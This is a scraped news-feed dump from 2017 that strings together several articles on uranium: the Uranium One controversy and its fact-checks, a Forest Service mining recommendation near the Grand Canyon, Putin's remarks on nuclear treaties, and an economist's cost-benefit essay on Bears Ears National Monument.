The document adds that some issues requested by Goodlatte and other committee members are already being investigated by the Inspector General’s Office. Once the IG’s review is complete, the Department will assess what, if any, additional steps are necessary to address any issues identified by that review. However, the Justice Department does not typically confirm or deny specific investigations, and Boyd stressed that the letter “should not be construed to do so.”

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]]> https://briefnews.eu/us-federal-prosecutors-to-evaluate-clintons-alleged-corruption-role-in-russian-uranium-deal/feed/ 0 Forest Service suggests Trump could reopen uranium mining near Grand Canyon https://briefnews.eu/forest-service-suggests-trump-could-reopen-uranium-mining-near-grand-canyon/ https://briefnews.eu/forest-service-suggests-trump-could-reopen-uranium-mining-near-grand-canyon/#respond Sun, 05 Nov 2017 22:38:19 +0000 http://briefnews.eu/forest-service-suggests-trump-could-reopen-uranium-mining-near-grand-canyon/

Canyon Uranium Mine Tower, Arizona, 2013. (credit: Kaibab National Forest)

The US Forest Service recently submitted a report (PDF) to the Trump Administration, suggesting that an Obama-era order could be revised to allow uranium mining on National Forest land, reopening old tensions in an area that sustains tribal interests, mining operations, and outdoor activities.

The report was submitted in response to a March presidential order requiring all agencies to review their body of rules, policies, and guidelines pertaining to energy development in the United States. Agencies were directed to provide the White House with a list of items that might weigh down the development of domestic energy resources “with particular attention to oil, natural gas, coal, and nuclear energy resources,” according to the Forest Service, which is an agency within the US Department of Agriculture (USDA).

The Forest Service ultimately outlined 15 agency rules, regulations, and agreements that could be rescinded or modified to favor fossil fuel or nuclear energy. Many of the recommendations involved revisions to existing paperwork or fee schedules that the Forest Service imposes on energy companies seeking to do business in National Forest land. One item suggested that the Forest Service exclude low-risk energy projects on national land from “unnecessary and possibly time consuming environmental assessments.” Another suggested a revision of how energy projects are assessed in sage-grouse habitat. The wild bird’s habitat has been a political sticking point for fossil fuel advocates and environmental advocates alike.

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]]> https://briefnews.eu/forest-service-suggests-trump-could-reopen-uranium-mining-near-grand-canyon/feed/ 0 Republicans are freaking out about a new report tying Hillary Clinton to a Russian uranium deal https://briefnews.eu/republicans-are-freaking-out-about-a-new-report-tying-hillary-clinton-to-a-russian-uranium-deal/ https://briefnews.eu/republicans-are-freaking-out-about-a-new-report-tying-hillary-clinton-to-a-russian-uranium-deal/#respond Thu, 19 Oct 2017 23:34:32 +0000 http://briefnews.eu/republicans-are-freaking-out-about-a-new-report-tying-hillary-clinton-to-a-russian-uranium-deal/ Hillary ClintonREUTERS/Brendan McDermid

  • President Donald Trump wants to revive an old scandal about a uranium deal with a Hillary Clinton connection.
  • Proof of any quid pro quo remains unclear.

Propelled by conservative media and congressional Republicans, President Donald Trump revived a story about an Obama administration uranium deal that Hillary Clinton had tangential ties to.

“That’s your real Russia story,” Trump said during an informal exchange with reporters at the White House on Thursday. “That is one of the big stories of the decade.”

Trump’s statements highlighted the return of one of his recurring rhetorical attacks on Clinton during the 2016 campaign over her role in the approval of the sale of part of a company called Uranium One to the Russian government in 2010, which Republicans argued simultaneously endangered national security and enriched the Clintons.

On Tuesday, The Hill published a new report that described a “racketeering scheme” that was “designed to benefit former President Bill Clinton’s charitable foundation during the time Secretary of State Hillary Clinton served on a government body that provided a favorable decision to Moscow.”

The story made several suggestions:

  • Before the deal was approved, the FBI had found evidence of wrongdoing by the Russian official who oversaw Russian President Vladimir Putin’s “nuclear expansion inside the US,” which had to be approved by the Committee on Foreign Investment, which is comprised of nine agencies that review foreign government acquisitions of US companies.
  • Russian officials tried to “ingratiate themselves with the Clintons” by “the transmission of millions of dollars from Russia’s nuclear industry to an American entity that had provided assistance to Bill Clinton’s foundation.”

At a time when law enforcement officials and Congress are investigating the Trump campaign’s ties to Russia, right-wing media outlets and figures weaponized the story.

According to a survey of Snapstream by the left-leaning group Media Matters, there were 36 mentions of “Uranium One” since The Hill’s report was first published on Tuesday, with 24 of the mentions appearing on Sean Hannity’s show.

The Washington Times wrote in a headline: “Russia tables turn, roping Clinton, Obama, Holder, not Trump.”

And on Wednesday, the Senate Judiciary Committee sent a letter requesting more information from several agencies about the approval of the Uranium One deal.

Sen. Chuck Grassley asked Attorney General Jeff Sessions whether the Department of Justice was investigating the fact that former President Bill Clinton was paid for a speech around the time that the US government approved the Uranium One deal, and that Russians donated millions to the Clinton Foundation years before the uranium deal.

“This fact pattern raises serious concerns about improper political influence on the process by the Clintons during the Obama administration,” Grassley said. 

The Uranium One deal is well-tread territory for both Republicans and Trump. It first emerged as a point of contention following Breitbart News editor Peter Schewizer’s 2015 book “Clinton Cash.”

Trump has a history of dubious claims about the deal.

On the campaign trail in October 2016, Trump said that Clinton gave uranium to Russia “for a big payment,” a claim that The Washington Post said was inaccurate.

When the transaction became politicized during the 2016 campaign, some experts cast doubt over the legitimacy of the Clinton connection, as well as the national security threat posed by the deal.

PolitiFact found that the US produces such little uranium that the “concerns were out of proportion,” and pointed out that there was no existing evidence of “quid pro quo” between Clinton Foundation donations and the approval of the deal.

In a 2016 piece, The Washington Post’s fact checker noted that although the State Department was one agency that had approval over the 2010 deal, there’s no evidence Clinton herself had significant influence over it:

“There is no evidence Clinton herself got involved in the deal personally, and it is highly questionable that this deal even rose to the level of the secretary of state. Theoretically, as Schweizer says, Clinton could have intervened. But even then, it ultimately would have been Obama’s decision whether to suspend or block the deal.”

NOW WATCH: The mysterious life of the wife of North Korean leader Kim Jong Un

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]]> https://briefnews.eu/republicans-are-freaking-out-about-a-new-report-tying-hillary-clinton-to-a-russian-uranium-deal/feed/ 0 ‘We gave you uranium, you repaid us by bombing Belgrade’: Putin slams US over nuclear treaties https://briefnews.eu/we-gave-you-uranium-you-repaid-us-by-bombing-belgrade-putin-slams-us-over-nuclear-treaties/ https://briefnews.eu/we-gave-you-uranium-you-repaid-us-by-bombing-belgrade-putin-slams-us-over-nuclear-treaties/#respond Thu, 19 Oct 2017 21:30:17 +0000 http://briefnews.eu/we-gave-you-uranium-you-repaid-us-by-bombing-belgrade-putin-slams-us-over-nuclear-treaties/

Vladimir Putin has criticized the US for failing to keep their end of the bargain in a host of international disarmament agreements. He says Moscow will not exit any existing treaties, but promised an “instant, symmetrical response” if Washington decides to first.

‘US decided to do away with international law’

Speaking during a Q & A session at the Valdai Discussion Club in Sochi, an annual meeting with international journalists and Russia experts, Putin began by recalling the Megatons to Megawatts program, which ran between 1993 and 2013, and saw Russia downblend enriched uranium from the equivalent of about 20,000 of its nuclear warheads into low-enriched uranium to be used as fuel by US power stations.

Putin said that as part of what he called “one of the most effective disarmament efforts in history,” US officials made 170 visits to top secret Russian facilities, and “set up permanent workplaces in them adorned with American flags.”

READ MORE: Putin on Catalonia: EU triggered rise of separatism by supporting Kosovo independence

“From the Russian side unprecedented openness and trust were demonstrated,” said Putin, saying that through the 1990s, about 100 US officials were entitled to carry out surprise inspections of Russian nuclear facilities, as part of Gorbachev and Yeltsin-era agreements.

“What we got in return is well-known – a complete disregard for our national interests, support for separatism in the Caucasus, a circumvention of the UN Security Council, the bombing of Yugoslavia, the invasion of Iraq, and so on. The US must have seen the state of our nuclear weapons and economy and decided to do away with international law.”

‘They have no money for disarmament, but we do?’

Putin said that Washington’s hostile policies “are returning the relationship between the two countries to the 1950s” though noted that at least during the Cold War “there was at least more mutual respect” between the two superpowers.

“We can’t actively participate in several international treaties, because the US is not doing anything itself. We can’t just do it unilaterally,” said Putin, citing the 1993 Chemical Weapons Convention, as an example of the US taking advantage.

Last month, Russia declared that all its chemical weapons stockpiles had been disposed of – news that Western media “decided to stay silent on,” according to Putin – while the US has persistently delayed its own destruction schedule, and now plans to complete the process in 2023 at the earliest.

“We destroyed everything, and then our American partners said – ‘Not yet, we don’t have money.’ So, they have a dollar printing press, yet they don’t have money. But we, on the other hand, do?” said Putin with heavy sarcasm.

‘We will fulfil our obligations’

Putin dated a key point in the breakdown of the post-Soviet world order to the US decision to withdraw from the 1972 Anti-Ballistic Missile Treaty (ABM) in 2002, during George W. Bush’s first term in office, to pave the way for the construction of the missile defense shield, to which the Kremlin continues to object vehemently.

“This treaty was the cornerstone of the entire international security framework in the area of strategic weapons. But despite spending years trying to persuade our colleagues otherwise, we weren’t able to hold our partners inside the agreement,” said Putin.

US President Donald Trump has criticized another treaty between Russia and the US that is still in force – New START. Signed in 2011 through to 2021, it stipulates that both sides are allowed to have up to 1,550 active nuclear warheads. Trump called it out as poor Obama-era deal in his campaign, and reportedly was annoyed with the Russian president for bringing it up in a phone conversation earlier this year.

“We are hearing that the other side is also not pleased with New START,” Putin said. “We are not going to quit it. Maybe we are ourselves dissatisfied with certain aspects of it, but there is always an element of compromise. So, we are going to fulfil our obligations.”

‘Instant and symmetrical response’

The treaty under the biggest threat is the INF, signed in 1987, which bans land-based missiles – both nuclear and conventional – with ranges between 500-5,500 km. The US has said that several of the latest Russian rockets violate the agreement.

Putin bemoaned that by not banning air-based and naval launchers the treaty allowed a loophole beneficial predominantly to NATO states, and said that it represented “another case of Russia making unilateral concessions.”

“Nonetheless, we are going to comply with its terms providing our partners do so,” Putin said. “If they decide to abandon it, however, our response will be instant and symmetrical.”

‘Others talk about nuclear disarmament when they develop newer weapons’

While Putin insisted that Russia “still wants and will pursue” new agreements with the US to achieve nuclear disarmament, these may be harder to negotiate in an era of more diverse weapons systems, being produced more states than ever before.

“Countries’ readiness to talk about getting rid of nuclear weapons is in direct proportion to their advances in other weapons systems,” said Putin, noting that both conventional and high-tech weapons delivered with modern targeting systems “offer almost as much damage, with far superior accuracy.”

“We are carefully monitoring what is happening around the world, just as our own country is acquiring these non-nuclear weapons system,” Putin said.

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]]> https://briefnews.eu/we-gave-you-uranium-you-repaid-us-by-bombing-belgrade-putin-slams-us-over-nuclear-treaties/feed/ 0 Trump tweets about bombshell reports that Clintons made millions off crooked Russian uranium deal https://briefnews.eu/trump-tweets-about-bombshell-reports-that-clintons-made-millions-off-crooked-russian-uranium-deal/ https://briefnews.eu/trump-tweets-about-bombshell-reports-that-clintons-made-millions-off-crooked-russian-uranium-deal/#respond Thu, 19 Oct 2017 12:37:59 +0000 http://briefnews.eu/trump-tweets-about-bombshell-reports-that-clintons-made-millions-off-crooked-russian-uranium-deal/ Donald TrumpChip Somodevilla/Getty Images

  • The Hill reports that the FBI investigated Russian nuclear industry officials engaging in bribery and kickbacks.
  • President Donald Trump tweeted Thursday morning that “Uranium deal to Russia, with Clinton help and Obama Administration knowledge, is the biggest story that Fake Media doesn’t want to follow!”
  •  FBI agents reportedly confirmed millions of dollars went to the Clintons.

President Donald Trump tweeted on Thursday morning about a bombshell report that the FBI investigated a bribery scandal involving the Russian nuclear industry and the Clintons.

“Uranium deal to Russia, with Clinton help and Obama Administration knowledge, is the biggest story that Fake Media doesn’t want to follow!” Trump tweeted.

Trump also tweeted a quote from “Fox & Friends” on Thursday morning — “Russia sent millions to Clinton Foundation.”

John Solomon and Alison Spann at The Hill report that the FBI investigated Russian nuclear industry officials engaging in bribery and kickbacks before a 2010 deal that then Secretary of State Hillary Clinton and President Barack Obama approved, giving Russia control of much of the US’s uranium.

Trump’s own dealings with Russia remain under constant examination in the media.

Trump cited the deal for uranium, an important element needed for both nuclear power and weapons, as enriching the Clintons during the campaign.  Now Solomon and Spann have reported that FBI agents confirmed millions went to the Clintons.

“The Russians were compromising American contractors in the nuclear industry with kickbacks and extortion threats, all of which raised legitimate national security concerns. And none of that evidence got aired before the Obama administration made those decisions,” a person who worked on the case told Solomon and Spann.

In another report, Solomon and Spann cite an American businessman who said the Obama administration blocked him from testifying to Congress about “conversations and transactions he witnessed related to the Russian nuclear industry’s efforts to win favor with Bill and Hillary Clinton and influence Obama administration decisions.”

Hillary Clinton Sergei LavrovAP Photo/Fabrice Coffrini, Pool

The probe was conducted under Robert Mueller’s FBI. Mueller now serves as the special counsel in charge of the investigation into Trump’s Russia ties. Mueller ended the investigation in 2015 after uncovering a huge network of bribery, but did not pursue the Clintons.

Trump’s highlight of the report fits with a trend of him promoting outlets and reporters that give him favorable coverage.

Soloman has written articles in the past defending the Trump administration and Michael Flynn, who was fired after misrepresenting his connections to Russian agents in a conversation with Vice President Mike Pence.

The investigation into Trump’s campaign’s ties to Russia have loomed over his presidency since its early days. Currently, there is no end in sight as the investigation expands to include possible obstruction of justice by Trump and his son, and the role social media played in Russia’s push to influence the 2016 election.

NOW WATCH: ‘It was an act of pure evil’: Watch Trump’s statement about the Las Vegas shooting — the deadliest shooting in modern US history

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]]> https://briefnews.eu/trump-tweets-about-bombshell-reports-that-clintons-made-millions-off-crooked-russian-uranium-deal/feed/ 0 An economist explains why a national monument with free admission is way more valuable than the uranium ore beneath it https://briefnews.eu/an-economist-explains-why-a-national-monument-with-free-admission-is-way-more-valuable-than-the-uranium-ore-beneath-it/ https://briefnews.eu/an-economist-explains-why-a-national-monument-with-free-admission-is-way-more-valuable-than-the-uranium-ore-beneath-it/#respond Mon, 25 Sep 2017 00:45:41 +0000 http://briefnews.eu/an-economist-explains-why-a-national-monument-with-free-admission-is-way-more-valuable-than-the-uranium-ore-beneath-it/ bears earsBureau of Land Management/Flickr

The United States has an extensive system of amazing parks. From the Shenandoah National Park, close to where I grew up, to Sequoia National Park, where I am a trustee for Lost Soldier’s Cave, our national parks connect Americans to our remarkable landscapes and wilderness areas.

I have annual passes to both the U.S. and the California Parks and Recreational Areas. So when someone asks what we need in terms of parks, my visceral answer is always: More! But others view the National Monument and National Park systems differently. Right now, the Trump administration is re-evaluating them with an eye towards shrinking some and opening up others to mining and development.

The economist in me wants to ask: What are the trade-offs of making such changes in our parks? And how are such changes valued?

Let’s start by acknowledging there is always a trade-off between economic activity and the environment.

Everything we do—from sheltering and feeding ourselves, to going to movies and ballgames—changes the natural environment around us. And this is not new. Pre-Columbian hunter-gatherers altered the environment as they burned Great Plains grasses in their quest for buffalo burgers.

What are the costs of such alteration?

For a long time, planners have sought to ascertain the value of urban open space. A recent study by Harvard lecturer Linda Bilmes and Colorado State University professor John Loomis tried to estimate the value of the National Park Service system. It is a big number, $ 92 billion. But even then, they admit that many aspects of the park system are undervalued because putting any price on them would be speculative at best.

Among these difficult-to-price aspects are the health and psychological benefits to those who use the parks—and to those who don’t use the parks, but who benefit from changed behavior by those who do. Their analysis also does not consider the opportunity cost of the parks—in other words the money that might be made were they not parks, but privatized for housing, mining, logging, or commercialized recreation.

The Trump administration’s current evaluation is focused on those parks that are designated as National Monuments under the Antiquities Act of 1906. While there are huge challenges in conducting a cost-benefit analysis of the National Monuments, it is still a worthwhile exercise to think about the values that can be pinned down.

Let’s begin with an easy example. The Statue of Liberty is a National Monument. It sits in New York Harbor on Liberty Island, prime real estate. In 2016 there were over 4.5 million visitors. They paid about $ 27 each to visit, which includes the boat ride to and from, and admission tickets to all or part of the monument. If we compare this to Manhattan skyscrapers that have an average age of over 60 years, then over the same amount of time visitors will have spent more than $ 7 billion at the monument.

Again, we don’t count those who benefit because others have been inspired by their visit to the Statue of Liberty, nor the value of connecting us to our heritage. It is undeniable that these are significant.

An alternative to the statue would be a skyscraper. The island would be prime real estate for building exclusive condos with views of the city and the harbor. The value would be diminished by the fact that domestic and maintenance workers would have to be paid more to get over to the island, and that access to the city would require a boat ride. So perhaps the comparable development is the Kushner family’s 666 Fifth Avenue office tower, another prime property.

The Kushners paid $ 1.8 billion for it, and The New York Times reports that they expect to spend $ 3.3 billion to renovate it. When you add this up—$ 5.1 billion—it is clear that the Statue of Liberty Monument (with a value of $ 7 billion-plus) is worth more than the alternative condo skyscraper occupying the same land.

And this is just the pure economic cost-benefit analysis. It leaves out the non-pecuniary value of being inspired by Lady Liberty, of connecting us to our heritage, and of reminding Americans that we were all once immigrants yearning to breathe free.

Valley_of_the_Gods_(31136248853)Wikimedia CommonsSo it’s clear why no one, as far as I know, is contemplating selling or leasing parts or all of Liberty Island. But what about Bears Ears National Monument, the first target of Interior Secretary Ryan Zinke’s effort to shrink national monuments and open them up for development?

I’m betting that, at least until recently, you never had heard of it. Bears Ears is in a remote part of southern Utah.

But as an example, Bears Ears is instructive—and the economics are a bit more complicated. First of all, Bears Ears, like many monuments, is free to visit. So we don’t have admissions revenue to look at. Plus, the remoteness of the park means it will not have the same level of visitor traffic as the Statue of Liberty National Monument. Of course, luxury condos are not an alternative in such a remote place. But you can make the case that mining is an alternative use.

Now let’s consider the full value of Bears Ears. It spans an area with a fossil record from the age of the dinosaurs, one of the most complete records we have. The value in studying this record is that we may obtain a better understanding of the fossils from this time spanning the Triassic and Jurassic periods. Also, Bears Ears is home to more than 1,000 archaeological sites dating from when early Native Americans lived in the area. This civilization vanished and new knowledge on how climactic changes seemed to have decimated their civilization is going to be useful for our grandchildren (or maybe even ourselves). The monument also has other values—to the visitors who make the trek there, and to Native Americans who still live in the area and have a spiritual and heritage connection to many parts of it.

What are we giving up by protecting this potentially useful historical, cultural, and scientific research site? Uranium. The Daneros Mine in Red Canyon is an existing uranium mining operation in the Bears Ears area that was purposely left out of the monument. But the monument effectively prevents further exploration and mining inside its boundary.

Here is the context. Uranium prices have been falling since they peaked in 2007, and economics teaches us that this happens when demand falls or supply increases. So if other parts of Bears Ears were not great places to mine before the monument was declared, they certainly are not now.

The counter to that point is: Uranium prices may change someday. How and when is hard to predict. But uranium ore is important, and could be critically important to our national security. Still, this is unlikely. The U.S. demand for uranium is not likely to increase anytime soon, as reactors like San Onofre in California close and other reactors—such as two to be built in Jenkinsville, South Carolina—are abandoned in mid-construction. Indeed, there is so little demand that most of the uranium now mined from southwest Utah is exported.

In such a case, where we are dealing with “might-be’s” instead of quantifiable benefits, we can turn to optimal decision theory to help us make wiser choices.

The optimal decision is the one that provides at least as good an outcome as all other available decision options. So if the costs of the “might-be’s” are not immediate, they receive little weight. In the case of Bears Ears, the optimal decision now is to leave well enough alone and to keep an eye on the “might-be’s” just in case.

In other words, if we don’t need to make a decision, the optimal action is to make contingency plans for the time when a decision must be made.

land management bureau utahBureau of Land Management/Flickr

A secondary argument for opening Bears Ears to mining is that it takes time to open a mine and begin ore production. So if we need uranium for national security, we could be behind the production power curve. The answer to this is quite easy. If quick access to uranium is valuable, then instead of exporting it from the Daneros Mine to South Korea, the federal government should purchase and stockpile it. The reason why this is superior is that uranium seams play out, and if they are opened today they still might not be available when a national crisis requires them. Thus the uncertainty of the need for the strategic ore drives the decision to preserve Bears Ears.

There is also the issue of jobs. According to the Salt Lake Tribune, this amounts to less than 40 jobs. In an economy of 147 million jobs in the United States and 1.5 million in Utah, this is no more than spit in the ocean. So the strategic metal arguments are the ones to consider seriously, and they point to economic alternatives superior to doing nothing with Bears Ears at the moment.

My guess is that other National Monuments would end up with a similar cost/benefit calculus. There may be legitimate arguments about future needs, either by those who will benefit from maintaining the park in perpetuity, or by those who see a national interest in exploiting resources from the park at some point in time. But the absolute wrong economic decision would be to change a “might-be” to a “must,” thereby creating a cost in the loss of the park.

That brings me back to my personal interests in parks and monuments. Of course, I don’t want to see even one-tenth of one acre given over to mining or development. But the point that should drive decision-making is not personal preference, but analysis of costs and benefits to society as a whole. And it’s clear that careful study and a willingness to admit what we don’t know can lead to a better solution for such places than short-term changes in policy to satisfy exploitation interests.

And if we don’t take care to respect the analysis, you might find yourself booking a tour of the unique architecture of Liberty Island Condos in the middle of Upper New York Bay some day.

Jerry Nickelsburg, an economist at UCLA Anderson School of Management, writes the Pacific Economist column. He would love to hear from you at Jerry.Nickelsburg@Anderson.UCLA.edu or via Twitter @jnickelsburg.

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